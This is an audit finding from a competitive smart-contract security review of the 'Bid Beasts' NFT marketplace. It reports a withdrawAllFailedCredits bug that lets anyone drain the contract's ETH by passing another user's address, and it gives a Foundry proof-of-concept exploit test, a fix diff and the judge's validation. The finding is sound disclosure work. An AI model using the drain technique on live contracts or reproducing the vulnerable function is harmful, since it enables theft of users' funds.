Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

The withdrawAllFailedCredits function in BidBeastsNFTMarket allows any attacker to steal other users failed transfer credits

Root + Impact

Description

  • The expected behavior is that each user can only withdraw their own failed transfer credits stored in the failedTransferCredits mapping.

  • However, the withdrawAllFailedCredits function incorrectly references the mapping key and pays the caller regardless of the _receiver value.

  • This allows anyone to repeatedly withdraw the ETH that belongs to another user, while the victim’s credit balance never decreases.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // ❗ Clears caller’s balance, not the victim’s
@> (bool success, ) = payable(msg.sender).call{value: amount}(""); // ❗ Sends victim’s credits to caller
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any external account can call withdrawAllFailedCredits at any time.

  • No authentication or signature checks are performed. Only the victim must have a non-zero credit.

  • Because the victim’s failedTransferCredits is never reduced, the attacker can call the function repeatedly.

Impact:

  • Each call transfers real ETH from the contract’s balance to the attacker.

  • The attacker can drain all ETH held by the contract, not just the victim’s credits, until the contract balance is empty.

Proof of Concept

This PoC demonstrates that an attacker can repeatedly call withdrawAllFailedCredits with another user's address
and drain ETH that belongs to that user. The vulnerability exists because the contract incorrectly resets the caller's
balance instead of the victim's, allowing repeated withdrawals.

Steps:

  1. Assume victim has 10 ETH in failedTransferCredits.

  2. Attacker calls withdrawAllFailedCredits(victim).

  3. Attacker receives 10 ETH, victim’s credit is not cleared.

  4. Attacker can repeat the call indefinitely until the contract runs out of ETH.

This proves the critical nature of the bug and its exploitability.

function testExploitDrain() public {
// assume victim has 10 ether recorded in failedTransferCredits
vm.deal(address(market), 100 ether); // contract funded
market.testPayout(address(SELLER), 10 ether);
// attacker address
address attacker = address(0xBEEF);
address victim = SELLER;
// first malicious withdrawal
vm.startPrank(attacker);
market.withdrawAllFailedCredits(victim);
// attacker receives 10 ether
assertEq(attacker.balance, 10 ether);
// because victim’s credit was never cleared, attacker can call again
market.withdrawAllFailedCredits(victim);
market.withdrawAllFailedCredits(victim);
// attacker repeatedly drains 10 ether per call until contract runs out of ETH
vm.stopPrank();
}

Recommended Mitigation

Safer to use msg.sender as the receiver and remove the _receiver parameter to avoid confusion:

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawAllFailedCredits(address _receiver) external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(_receiver).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
or
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+ failedTransferCredits[msg.sender] = 0;
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!